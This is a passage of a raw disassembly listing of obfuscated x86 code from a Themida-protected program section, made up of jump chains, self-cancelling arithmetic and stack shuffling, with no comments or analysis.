pop ebp
jmp loc_58E364
; ---------------------------------------------------------------------------
loc_59247C: ; CODE XREF: Themida_:0059A47Fj
pop ecx
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59248B: ; CODE XREF: Themida_:0058E91Aj
or dl, 0EFh
jmp loc_59AC4D
; ---------------------------------------------------------------------------
loc_592493: ; CODE XREF: Themida_:0059272Aj
push 32C50872h
pop eax
and eax, 5F171141h
add eax, 0FFFFFFFFh
jmp loc_5A1041
; ---------------------------------------------------------------------------
loc_5924A6: ; CODE XREF: Themida_:00590DE6j
shr edx, 5
add edx, 2BF818C8h
sub esi, edx
jmp loc_58F9F5
; ---------------------------------------------------------------------------
loc_5924B6: ; CODE XREF: Themida_:00594EABj
xor ebp, [esp]
xor [esp], ebp
jmp loc_59FB35
; ---------------------------------------------------------------------------
loc_5924C1: ; CODE XREF: Themida_:0059F14Aj
sub cl, 9Ch
sub cl, 0F2h
jmp loc_59AC33
; ---------------------------------------------------------------------------
loc_5924CC: ; CODE XREF: Themida_:005A028Dj
mov [esp], ebp
mov ebp, 223744EFh
jmp loc_599933
; ---------------------------------------------------------------------------
loc_5924D9: ; CODE XREF: Themida_:005A0712j
add dword ptr [esp], 70AC455Ah
pop esi
sub esi, 70AC455Ah
jmp loc_5A1599
; ---------------------------------------------------------------------------
loc_5924EC: ; CODE XREF: Themida_:00594662j
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_593575
; ---------------------------------------------------------------------------
loc_592502: ; CODE XREF: Themida_:005A20DFj
mov [esp], ecx
mov ecx, 694A4CF8h
add eax, ecx
pop ecx
jmp loc_59B2F8
; ---------------------------------------------------------------------------
loc_592512: ; CODE XREF: Themida_:00592031j
add dword ptr [esp], 4E7A0FE1h
pop ebp
sub ebp, 4E7A0FE1h
pop ebx
sub ebp, 211C458Fh
add ebp, 401E18C2h
and ebp, 494D3DF0h
jmp loc_59731D
; ---------------------------------------------------------------------------
loc_592538: ; CODE XREF: Themida_:00598A8Fj
add ebx, 0FA0E8B46h
jmp loc_599E41
; ---------------------------------------------------------------------------
loc_592543: ; CODE XREF: Themida_:00594EA1j
push ebx
mov ebx, 3D832687h
add eax, ebx
pop ebx
xor dword ptr [eax], 79A454BFh
pop eax
pop edx
sub [edi+20h], ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
jmp loc_5A099A
; ---------------------------------------------------------------------------
loc_592569: ; CODE XREF: Themida_:0059FD92j
push dword ptr [esp]
jmp loc_5959FF
; ---------------------------------------------------------------------------
loc_592571: ; CODE XREF: Themida_:00599171j
pop ebp
push 7E55h
mov [esp], edx
mov edx, 422C0E5Fh
jmp loc_59E32A
; ---------------------------------------------------------------------------
loc_592584: ; CODE XREF: Themida_:0059154Fj
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_5A04A2
; ---------------------------------------------------------------------------
loc_59259E: ; CODE XREF: Themida_:00595E61j
push esi
push ebp
mov ebp, 2E056CFAh
push eax
mov eax, ebp
jmp loc_595B0F
; ---------------------------------------------------------------------------
loc_5925AD: ; CODE XREF: Themida_:0059F7E9j
add esi, 4
push ecx
mov ecx, 4
sub esi, ecx
pop ecx
xchg esi, [esp]
pop esp
mov [esp], esi
push 4
mov esi, [esp]
add esp, 4
add ebp, 351379DDh
add ebp, esi
sub ebp, 351379DDh
pop esi
push ebx
push 5B59h
mov [esp], ebp
push 1E7F3566h
mov ebp, [esp]
add esp, 4
shr ebp, 5
xor ebp, 0F3F9A9h
jmp loc_59F9AB
; ---------------------------------------------------------------------------
loc_592605: ; CODE XREF: Themida_:00594DE9j
mov eax, 4
jmp loc_59DCDC
; ---------------------------------------------------------------------------
loc_59260F: ; CODE XREF: Themida_:0059D059j
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_598830
; ---------------------------------------------------------------------------
loc_592624: ; CODE XREF: Themida_:0059EDE0j
sub esi, edi
sub esi, 1D3D3F2Bh
jmp loc_591225
; ---------------------------------------------------------------------------
loc_592631: ; CODE XREF: Themida_:0059E1B6j
pop esi
pop dword ptr [esp]
jmp loc_5977B5
; ---------------------------------------------------------------------------
loc_59263A: ; CODE XREF: Themida_:0059A617j
mov ebp, [esp]
add esp, 4
loc_592643: ; CODE XREF: Themida_:00593680j
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_594987
; ---------------------------------------------------------------------------
loc_592657: ; CODE XREF: Themida_:00593B6Ej
mov ebp, 2F0C7D29h
dec ebp
xor ebp, 63924B16h
push ecx
mov ecx, 6F28688Ch
or ecx, 354D6CC8h
jmp loc_598E9F
; ---------------------------------------------------------------------------
loc_592674: ; CODE XREF: Themida_:00593BC2j
add edx, 4
xchg edx, [esp]
pop esp
sub edx, 14084A55h
sub edx, 12D253E6h
add edx, ecx
jmp loc_5A30EA
; ---------------------------------------------------------------------------
loc_59268E: ; CODE XREF: Themida_:005A263Ej
add eax, ecx
jmp loc_59A3C9
; ---------------------------------------------------------------------------
loc_592695: ; CODE XREF: Themida_:0058E517j
push ebx
jmp loc_59642A
; ---------------------------------------------------------------------------
loc_59269B: ; CODE XREF: Themida_:00590E92j
sub ebx, 6BB61099h
push 330h
mov [esp], ecx
mov ecx, 5F734CA3h
add ebx, 45334454h
jmp loc_5A2FD1
; ---------------------------------------------------------------------------
loc_5926B9: ; CODE XREF: Themida_:005A0CEDj
mov esp, [esp]
movzx cx, al
push 7C4Dh
mov [esp], edx
push esp
jmp loc_58F94F
; ---------------------------------------------------------------------------
loc_5926CE: ; CODE XREF: Themida_:005999F8j
mov edx, 543A4667h
add edx, 71104D2Ah
sub edx, 77D14FD9h
jmp loc_598384
; ---------------------------------------------------------------------------
loc_5926E4: ; CODE XREF: Themida_:0058F061j
pop edx
push 1CD4h
mov [esp], edi
mov edi, 4
add eax, edi
push dword ptr [esp]
jmp loc_591A41
; ---------------------------------------------------------------------------
loc_5926FC: ; CODE XREF: Themida_:0059AC26j
push ebx
push ecx
push 79437C1h
pop ecx
jmp loc_59B1C8
; ---------------------------------------------------------------------------
loc_592709: ; CODE XREF: Themida_:0059BCC6j
sub ebp, 46B97579h
jmp loc_59CA9C
; ---------------------------------------------------------------------------
loc_592714: ; CODE XREF: Themida_:005995D1j
push 4A4F18B4h
jmp loc_593101
; ---------------------------------------------------------------------------
loc_59271E: ; CODE XREF: Themida_:00597A85j
pop esp
xor eax, [esp]
jmp loc_592223
; ---------------------------------------------------------------------------
loc_592727: ; CODE XREF: Themida_:0059CD9Cj
mov [esp], eax
jmp loc_592493
; ---------------------------------------------------------------------------
loc_59272F: ; CODE XREF: Themida_:0059F482j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push edi
mov edi, 2
add ebp, edi
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5A24E0
; ---------------------------------------------------------------------------
loc_592755: ; CODE XREF: Themida_:005A1312j
xchg ecx, [esp]
jmp loc_59BB4C
; ---------------------------------------------------------------------------
loc_59275D: ; CODE XREF: Themida_:0058F682j
or edx, esi
mov esi, [esp]
add esp, 4
add edx, 22C8022Bh
add ebx, edx
pop edx
jmp loc_5966BC
; ---------------------------------------------------------------------------
loc_592773: ; CODE XREF: Themida_:005956E4j
push ecx
jmp loc_58F72D
; ---------------------------------------------------------------------------
loc_592779: ; CODE XREF: Themida_:005A0BC4j
mov esi, 6A3C600Bh
jmp loc_59EBD0
; ---------------------------------------------------------------------------
loc_592783: ; CODE XREF: Themida_:005A23EEj
mov esp, [esp]
jmp loc_59F165
; ---------------------------------------------------------------------------
loc_59278B: ; CODE XREF: Themida_:00595488j
mov esi, [esp]
add esp, 4
jmp loc_59FD6A
; ---------------------------------------------------------------------------
loc_592799: ; CODE XREF: Themida_:00595D9Cj
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_59FD9D
; ---------------------------------------------------------------------------
loc_5927AE: ; CODE XREF: Themida_:00593B51j
mov [esp], esi
mov esi, 4
jmp loc_5963D6
; ---------------------------------------------------------------------------
loc_5927BB: ; CODE XREF: Themida_:005959D2j
xchg ebp, [esp]
pop esp
mov bh, [esp+2]
mov [esp+2], dh
mov dx, [esp]
add esp, 2
sub esp, 4
jmp loc_59C9B9
; ---------------------------------------------------------------------------
loc_5927D6: ; CODE XREF: Themida_:005908F9j
push edi
jmp loc_58FA1D
; ---------------------------------------------------------------------------
loc_5927DC: ; CODE XREF: Themida_:005A1A7Ej
add eax, 29BF7836h
sub eax, ebp
sub eax, 29BF7836h
pop ebp
jmp loc_58F6F6
; ---------------------------------------------------------------------------
loc_5927EE: ; CODE XREF: Themida_:0059DA77j
mov edi, esp
jmp loc_59826E
; ---------------------------------------------------------------------------
loc_5927F5: ; CODE XREF: Themida_:0058FB9Ej
push edx
mov edx, 1C670FE1h
sub edx, 0FFFFFFFFh
sub edx, 7CA22130h
push ebx
mov ebx, 3443797h
inc ebx
or ebx, 624A0FDFh
jmp loc_59216F
; ---------------------------------------------------------------------------
loc_592816: ; CODE XREF: Themida_:0059A9A2j
xor ch, ah
jmp loc_590175
; ---------------------------------------------------------------------------
loc_59281D: ; CODE XREF: Themida_:00590E5Cj
and ebx, esi
jmp loc_593521
; ---------------------------------------------------------------------------
loc_592824: ; CODE XREF: Themida_:00592E4Dj
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
add ebx, 4
push esi
push 974h
jmp loc_59585E
; ---------------------------------------------------------------------------
loc_59283D: ; CODE XREF: Themida_:005908C7j
sub ebp, esi
push ecx
mov ecx, 3ACE3987h
not ecx
shr ecx, 4
add ecx, 3720339h
add ebp, ecx
jmp loc_58FB7F
; ---------------------------------------------------------------------------
loc_592857: ; CODE XREF: Themida_:0058F299j
pop dword ptr [esp]
pop esp
bt [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_592866: ; CODE XREF: Themida_:0059D41Dj
add edi, esi
jmp loc_590C03
; ---------------------------------------------------------------------------
loc_59286D: ; CODE XREF: Themida_:0059CFB2j
mov [esp], edi
push 4
pop edi
jmp loc_5A0B82
; ---------------------------------------------------------------------------
loc_59287B: ; CODE XREF: Themida_:0059A98Bj
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_5A2A94
; ---------------------------------------------------------------------------
loc_59288C: ; CODE XREF: Themida_:005968D7j
sub ebp, 8E332ACh
xor ebp, 0E9065A95h
jmp loc_59D37C
; ---------------------------------------------------------------------------
loc_59289D: ; CODE XREF: Themida_:0058FE26j
xor edi, 0AE27350h
xor eax, edi
push dword ptr [esp]
pop edi
push 2F1Dh
mov [esp], edi
mov edi, esp
push 321Ah
mov [esp], ebp
mov ebp, 6C7F542Ch
inc ebp
sub ebp, 15271C93h
inc ebp
neg ebp
neg ebp
sub ebp, 57583797h
jmp loc_59D65E
; ---------------------------------------------------------------------------
loc_5928D7: ; CODE XREF: Themida_:005905D6j
push 5CBBh
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
push edi
jmp loc_5904A3
; ---------------------------------------------------------------------------
loc_5928EC: ; CODE XREF: Themida_:00599D69j
xor edi, 345803AAh
jmp loc_591270
; ---------------------------------------------------------------------------
loc_5928F7: ; CODE XREF: Themida_:0059AF86j
pop ecx
xchg edi, [esp]
jmp loc_59613F
; ---------------------------------------------------------------------------
loc_592900: ; CODE XREF: Themida_:005A1431j
push dword ptr [esp]
pop ebx
add esp, 4
xor edx, [esp]
jmp loc_590398
; ---------------------------------------------------------------------------
loc_592912: ; CODE XREF: Themida_:0059BE43j
mov ebx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add [esp+4], ebx
jmp loc_5A220A
; ---------------------------------------------------------------------------
loc_592931: ; CODE XREF: Themida_:0059352Dj
xor eax, 486A182Dh
sub ebx, eax
pop eax
add ecx, ebx
pop ebx
jmp loc_58FE02
; ---------------------------------------------------------------------------
loc_592941: ; CODE XREF: Themida_:005A078Ej
add esp, 4
jmp loc_5956BD
; ---------------------------------------------------------------------------
loc_59294C: ; CODE XREF: Themida_:0059FCB6j
add edx, 0E201625Ch
add eax, edx
mov edx, [esp]
add esp, 4
push 6938h
mov [esp], edi
sub esp, 4
mov [esp], ecx
push 387F5D9Bh
mov ecx, [esp]
add esp, 4
dec ecx
push edi
mov edi, esp
jmp loc_592A3D
; ---------------------------------------------------------------------------
loc_59297C: ; CODE XREF: Themida_:0059E927j
add esp, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_59D8A4
; ---------------------------------------------------------------------------
loc_59298A: ; CODE XREF: Themida_:005934F5j
push esi
mov esi, 0F901710h
jmp loc_592337
; ---------------------------------------------------------------------------
loc_592995: ; CODE XREF: Themida_:005A0B0Cj
pop ecx
add esp, 4
push di
push ebp
sub esp, 4
mov [esp], ebx
push small 6FEDh
jmp loc_59AA7D
; ---------------------------------------------------------------------------
loc_5929AB: ; CODE XREF: Themida_:0059FB28j
mov esi, [esp]
add esp, 4
xor eax, 3BC5609Bh
push edx
mov edx, 3FF3507Fh
sub eax, edx
mov edx, [esp]
add esp, 4
add eax, 23D2377Eh
add eax, edi
jmp loc_59E94F
; ---------------------------------------------------------------------------
loc_5929D0: ; CODE XREF: Themida_:005A25CBj
shr cl, 2
jmp loc_58ED21
; ---------------------------------------------------------------------------
loc_5929D8: ; CODE XREF: Themida_:005A18E6j
push esp
jmp loc_5A2012
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_5929DE: ; CODE XREF: sub_59FCFF-30B9j
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_592346
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_5929E9: ; CODE XREF: Themida_:00596350j
mov [esp], eax
jmp loc_59F034
; ---------------------------------------------------------------------------
loc_5929F1: ; CODE XREF: Themida_:00596B7Aj
sub edi, 546A1E65h
jmp loc_598D91
; ---------------------------------------------------------------------------
loc_5929FC: ; CODE XREF: Themida_:00592B6Fj
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_59D819
; ---------------------------------------------------------------------------
loc_592A0B: ; CODE XREF: Themida_:0059B4D0j
not dword ptr [esp]
pop edx
add edx, 0E91AD2CCh
mov ebp, edx
mov edx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebp, 9B839F73h
sub eax, ebp
pop ebp
jmp loc_5A2269
; ---------------------------------------------------------------------------
loc_592A3D: ; CODE XREF: Themida_:00592977j
add edi, 4
push ebx
mov ebx, 4
jmp loc_5971F4
; ---------------------------------------------------------------------------
loc_592A4E: ; CODE XREF: Themida_:0058E92Fj
mov ebp, 22B115CCh
jmp loc_59BD5F
; ---------------------------------------------------------------------------
loc_592A58: ; CODE XREF: Themida_:00599EE9j
add ecx, 117F3E5Ah
sub ecx, 0E93159FEh
sub eax, ecx
pop ecx
add eax, edi
push edi
mov edi, 5CCE5DAFh
jmp loc_5946FB
; ---------------------------------------------------------------------------
loc_592A74: ; CODE XREF: Themida_:00599C07j
add esp, 4
sub ebp, 62584D54h
add ebp, edx
jmp loc_59B298
; ---------------------------------------------------------------------------
loc_592A84: ; CODE XREF: Themida_:0059B189j
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, 36EB0C51h
push ebp
jmp loc_59CD4C
; ---------------------------------------------------------------------------
word_592A96 dw 2489h ; CODE XREF: Themida_:0059F21Fj
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 8Fh
add al, 24h
add dword ptr [esp], 4
push dword ptr [esp]
mov eax, [esp]
push eax
jmp loc_5945E8
; ---------------------------------------------------------------------------
loc_592AB0: ; CODE XREF: Themida_:0059D4D7j
mov ch, 0A1h
mov dh, ch
pop ecx
push eax
mov ah, dh
push edx
mov dl, ah
mov cl, dl
pop edx
mov eax, [esp]
add esp, 4
jmp loc_597F4A
; ---------------------------------------------------------------------------
loc_592ACC: ; CODE XREF: Themida_:0059EF53j
add esp, 4
shl esi, 7
jmp loc_59F827
; ---------------------------------------------------------------------------
loc_592AD7: ; CODE XREF: Themida_:0059EC15j
sub esp, 4
jmp loc_597AB4
; ---------------------------------------------------------------------------
loc_592ADF: ; CODE XREF: Themida_:00596E82j
xor dword ptr [esp], 79A454BFh
pop dword ptr [edi+20h]
push eax
mov eax, 20h
jmp loc_59D372
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B86E
loc_592AF4: ; CODE XREF: sub_59B86E+6j
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], ebx
push [esp-4+arg_4]
push dword ptr [esp+0]
jmp loc_59D20C
; END OF FUNCTION CHUNK FOR sub_59B86E
; ---------------------------------------------------------------------------
loc_592B07: ; CODE XREF: Themida_:005990ADj
add ebp, 3AD35AC6h
sub ebp, 40D82337h
sub ebp, ecx
add ebp, 40D82337h
jmp loc_595943
; ---------------------------------------------------------------------------
loc_592B20: ; CODE XREF: Themida_:0059657Dj
pop ecx
add esp, 4
add ecx, 4
jmp loc_59A3F5
; ---------------------------------------------------------------------------
loc_592B2F: ; CODE XREF: Themida_:0059B0A3j
neg edi
jmp loc_59DC27
; ---------------------------------------------------------------------------
loc_592B36: ; CODE XREF: Themida_:00594CDFj
pop edi
push ebx
jmp loc_596146
; ---------------------------------------------------------------------------
loc_592B3D: ; CODE XREF: Themida_:0059B553j
push eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_592B44: ; CODE XREF: Themida_:00598C3Aj
or edx, 1126E2Dh
or edx, 32CB56A6h
shr edx, 5
add edx, 0CBA1689Eh
xor ecx, edx
pop edx
sub ebp, ecx
jmp loc_59ADC5
; ---------------------------------------------------------------------------
loc_592B63: ; CODE XREF: Themida_:0059C78Ej
push esi
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp]
jmp loc_5929FC
; ---------------------------------------------------------------------------
loc_592B74: ; CODE XREF: Themida_:0059530Bj
mov ebx, 33A62AEBh
push ebp
mov ebp, 395D5E4Dh
not ebp
not ebp
not ebp
sub ebp, 0A18527A8h
jmp loc_59AE73
; ---------------------------------------------------------------------------
loc_592B90: ; CODE XREF: Themida_:005911ECj
neg edi
shl edi, 6
sub esp, 4
mov [esp], eax
mov eax, 248637F3h
push eax
not dword ptr [esp]
pop eax
jmp loc_58F7F1
; ---------------------------------------------------------------------------
loc_592BAD: ; CODE XREF: Themida_:0059FC2Bj
add eax, 0E8FBE75Ah
xor ebp, eax
pop eax
shr ebp, 7
sub ebp, 2ABD7E76h
sub ebp, 445A0BDCh
sub ebp, 9297F60Fh
add eax, ebp
pop ebp
xchg eax, [esp]
pop esp
add esp, 4
jmp loc_59636E
; ---------------------------------------------------------------------------
loc_592BD9: ; CODE XREF: Themida_:0059F5A0j
or edx, ebp
pop ebp
push eax
jmp loc_599E9E
; ---------------------------------------------------------------------------
loc_592BE2: ; CODE XREF: Themida_:00592042j
sub edi, ebx
push edx
mov edx, 6AB92BF2h
jmp loc_59D2E3
; ---------------------------------------------------------------------------
loc_592BEF: ; CODE XREF: Themida_:005A2D47j
pop ecx
mov edx, ebp
pop ebp
push 6CE2h
jmp loc_59C88F
; ---------------------------------------------------------------------------
loc_592BFD: ; CODE XREF: Themida_:00599DE5j
xchg eax, [esp]
jmp loc_5973BB
; ---------------------------------------------------------------------------
loc_592C05: ; CODE XREF: Themida_:0059F022j
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_59B0E4
; ---------------------------------------------------------------------------
loc_592C10: ; CODE XREF: Themida_:0059EF9Ej
add esp, 4
add ebx, 4
add ebx, 4
push ebx
jmp loc_5A1DA5
; ---------------------------------------------------------------------------
loc_592C25: ; CODE XREF: Themida_:005A07EEj
mov edx, 2F423900h
jmp loc_590825
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_5950C1
; ---------------------------------------------------------------------------
loc_592C3A: ; CODE XREF: Themida_:00590153j
push ecx
push esp
pop ecx
jmp loc_59365E
; ---------------------------------------------------------------------------
loc_592C42: ; CODE XREF: Themida_:0059F607j
push 5AB2h
mov [esp], edx
mov edx, 17E838B6h
add edx, 47354ECBh
sub edx, 0FEBE148Bh
xor ebx, edx
pop edx
push esi
mov esi, 53A756Ah
jmp loc_590DD1
; ---------------------------------------------------------------------------
loc_592C69: ; CODE XREF: Themida_:00598C28j
mov esp, [esp]
jmp loc_595960
; ---------------------------------------------------------------------------
loc_592C71: ; CODE XREF: Themida_:005A0230j
push 62C6h
mov [esp], edx
push 3C87h
mov [esp], ecx
push ebx
jmp loc_5936F4
; ---------------------------------------------------------------------------
loc_592C87: ; CODE XREF: Themida_:0059B09Dj
push edi
jmp loc_58EBB6
; ---------------------------------------------------------------------------
loc_592C8D: ; CODE XREF: Themida_:005954E6j
sub esp, 4
jmp loc_5A0C40
; ---------------------------------------------------------------------------
loc_592C95: ; CODE XREF: Themida_:00594752j
push 7941h
mov [esp], ebx
add dword ptr [esp], 22E31E58h
pop esi
sub esi, 22E31E58h
push esi
xor dword ptr [esp], 299C2CB2h
pop ebp
xor ebp, 299C2CB2h
pop esi
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5A0E24
; ---------------------------------------------------------------------------
loc_592CCC: ; CODE XREF: Themida_:005916EFj
sub edi, 0C86546Ah
add edi, eax
jmp loc_59ADCB
; ---------------------------------------------------------------------------
loc_592CD9: ; CODE XREF: Themida_:005A326Ej
add ebx, eax
mov eax, [esp]
jmp loc_5A2956
; ---------------------------------------------------------------------------
loc_592CE3: ; CODE XREF: Themida_:0059537Cj
xor ebp, 2C063A6Fh
sub ebp, 1693314Eh
add eax, 728A51F3h
add eax, ebp
sub eax, 728A51F3h
pop ebp
pop edx
push esi
jmp loc_598F4C
; ---------------------------------------------------------------------------
loc_592D03: ; CODE XREF: Themida_:00594A40j
push eax
mov eax, 412E5576h
jmp loc_59FE42
; ---------------------------------------------------------------------------
loc_592D0E: ; CODE XREF: Themida_:0058EACEj
mov ebp, esp
add ebp, 4
jmp loc_5956CA
; ---------------------------------------------------------------------------
loc_592D1B: ; CODE XREF: Themida_:0059C5C2j
push 35F1h
mov [esp], eax
mov eax, esp
jmp loc_59D53B
; ---------------------------------------------------------------------------
loc_592D2A: ; CODE XREF: Themida_:0059E28Dj
shr edi, 5
xor edi, 1B3AECEh
push esi
mov esi, esp
push edx
mov edx, 4FE9393Eh
jmp loc_59B41F
; ---------------------------------------------------------------------------
loc_592D41: ; CODE XREF: Themida_:005A0E75j
mov eax, esp
add eax, 4
jmp loc_5969FB
; ---------------------------------------------------------------------------
loc_592D4D: ; CODE XREF: Themida_:00591EC0j
push ecx
push edx
jmp loc_59F408
; ---------------------------------------------------------------------------
loc_592D54: ; CODE XREF: Themida_:0059F85Ej
push ebx
push eax
mov al, cl
push ecx
mov ch, al
push eax
mov ah, ch
mov bh, ah
jmp loc_595847
; ---------------------------------------------------------------------------
loc_592D65: ; CODE XREF: Themida_:00596A9Bj
xor ebx, esi
pop esi
sub ebx, 39963E38h
mov edx, ebx
pop ebx
add esi, 6AD75188h
add esi, edx
jmp loc_58FF4F
; ---------------------------------------------------------------------------
loc_592D7E: ; CODE XREF: Themida_:00599C66j
push eax
mov eax, 13A05075h
jmp loc_59337D
; ---------------------------------------------------------------------------
loc_592D89: ; CODE XREF: Themida_:0059DA8Cj
pop ebp
jmp loc_598BF0
; ---------------------------------------------------------------------------
loc_592D8F: ; CODE XREF: Themida_:0058EB9Cj
mov esi, edi
pop edi
jmp loc_592156
; ---------------------------------------------------------------------------
loc_592D97: ; CODE XREF: Themida_:005A1633j
xor ebp, [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_592DA5: ; CODE XREF: Themida_:005938A3j
mov bh, dl
pop dx
push eax
mov al, 0A0h
mov dl, 0FBh
xor dl, al
pop eax
add dl, 0BBh
sub dl, bh
sub dl, 0BBh
pop ebx
neg dl
push ecx
mov ch, 0E9h
dec ch
jmp loc_59E0A5
; ---------------------------------------------------------------------------
loc_592DC6: ; CODE XREF: Themida_:00594E00j
mov edi, 5747632h
or edi, 68BF2717h
not edi
or edi, 713D256Ah
jmp loc_59ED6B
; ---------------------------------------------------------------------------
loc_592DDE: ; CODE XREF: Themida_:005939B3j
sub eax, 9A01F56h
add ecx, eax
jmp loc_5A29EF
; ---------------------------------------------------------------------------
loc_592DEA: ; CODE XREF: Themida_:005965B3j
push ebx
mov ebx, 2
jmp loc_591965
; ---------------------------------------------------------------------------
loc_592DF5: ; CODE XREF: Themida_:00596C1Dj
mov [esp], eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_592DFD: ; CODE XREF: Themida_:0059B610j
mov [esp], ebx
mov ebx, 42C0369Ah
and esi, ebx
pop ebx
push ebp
push eax
mov eax, 32013970h
push ebp
jmp loc_599C6B
; ---------------------------------------------------------------------------
loc_592E15: ; CODE XREF: Themida_:00599F42j
add ecx, 179F0283h
push esi
jmp loc_5986A8
; ---------------------------------------------------------------------------
loc_592E21: ; CODE XREF: Themida_:00591567j
sub eax, 36A5316h
sub eax, 7EE17BFEh
jmp loc_59BFE7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_592E30 proc near ; CODE XREF: sub_5A1999-5801j
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0058EBE7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00596E15 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059F2C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0096 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A08EF SIZE 0000002D BYTES
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A0096
sub_592E30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_592E3E: ; CODE XREF: Themida_:005A2B3Aj
add esi, 81B5BEBEh
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
jmp loc_592824
; ---------------------------------------------------------------------------
loc_592E52: ; CODE XREF: Themida_:00593AEFj
pop ebp
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], esp
jmp loc_59F6F9
; ---------------------------------------------------------------------------
loc_592E7A: ; CODE XREF: Themida_:0058E460j
sub ebx, 1880578Ah
sub ebx, 4E110177h
sub ebx, 43BE6B54h
add ebx, edx
add ebx, 43BE6B54h
add ebx, 4E110177h
add ebx, 1880578Ah
jmp loc_59CEFA
; ---------------------------------------------------------------------------
loc_592EA5: ; CODE XREF: Themida_:005951B6j
add eax, 14AF27A6h
sub eax, edi
push ecx
mov ecx, 3524749Bh
neg ecx
jmp loc_59494E
; ---------------------------------------------------------------------------
loc_592EB9: ; CODE XREF: Themida_:00592210j
push 4731h
mov [esp], esi
jmp loc_58F6FE
; ---------------------------------------------------------------------------
loc_592EC6: ; CODE XREF: Themida_:0059308Dj
add eax, 4
add eax, 4
jmp loc_5A026D
; ---------------------------------------------------------------------------
loc_592ED5: ; CODE XREF: Themida_:0059433Bj
xchg ebp, edx
jmp loc_5903AC
; ---------------------------------------------------------------------------
loc_592EDC: ; CODE XREF: Themida_:005961BCj
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_5962BA
; ---------------------------------------------------------------------------
loc_592EF2: ; CODE XREF: Themida_:0059F0A5j
mov ebp, 608E0733h
not ebp
jmp loc_594210
; ---------------------------------------------------------------------------
loc_592EFE: ; CODE XREF: Themida_:005A1DB4j
mov [esp], esi
jmp loc_59976F
; ---------------------------------------------------------------------------
loc_592F06: ; CODE XREF: Themida_:0059B178j
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp]
jmp loc_5959B1
; ---------------------------------------------------------------------------
loc_592F16: ; CODE XREF: Themida_:0059FAC6j
pop edi
jmp loc_590E84
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
jmp loc_597C1F
; ---------------------------------------------------------------------------
loc_592F3C: ; CODE XREF: Themida_:00591DF6j
add ecx, 7511797Ch
add ecx, edi
sub ecx, 7511797Ch
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
movzx ax, byte ptr [eax]
push small 3EABh
jmp loc_5A2660
; ---------------------------------------------------------------------------
loc_592F64: ; CODE XREF: Themida_:00593A08j
pop esp
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
push 84Dh
mov [esp], eax
push ebx
jmp loc_594B2F
; ---------------------------------------------------------------------------
loc_592F8C: ; CODE XREF: Themida_:0058FD62j
mov eax, 4
add [esp+4], eax
mov eax, [esp]
add esp, 4
pop ebx
push 411Ah
mov [esp], ebp
jmp loc_593D54
; ---------------------------------------------------------------------------
loc_592FAC: ; CODE XREF: Themida_:005903FBj
mov edi, 4
push ebp
mov ebp, 5D9C11CEh
shr ebp, 5
jmp loc_591C94
; ---------------------------------------------------------------------------
loc_592FBF: ; CODE XREF: Themida_:0058FB92j
mov ebp, 1B181910h
sub ebp, 0FFFFFFFFh
sub ebp, 7D7902FBh
not ebp
shr ebp, 6
xor ebp, 18983A5h
push ebp
xor dword ptr [esp], 22B919F3h
pop edi
push ebx
mov ebx, 23E15576h
xor ebx, 5A9D34F4h
jmp loc_59915B
; ---------------------------------------------------------------------------
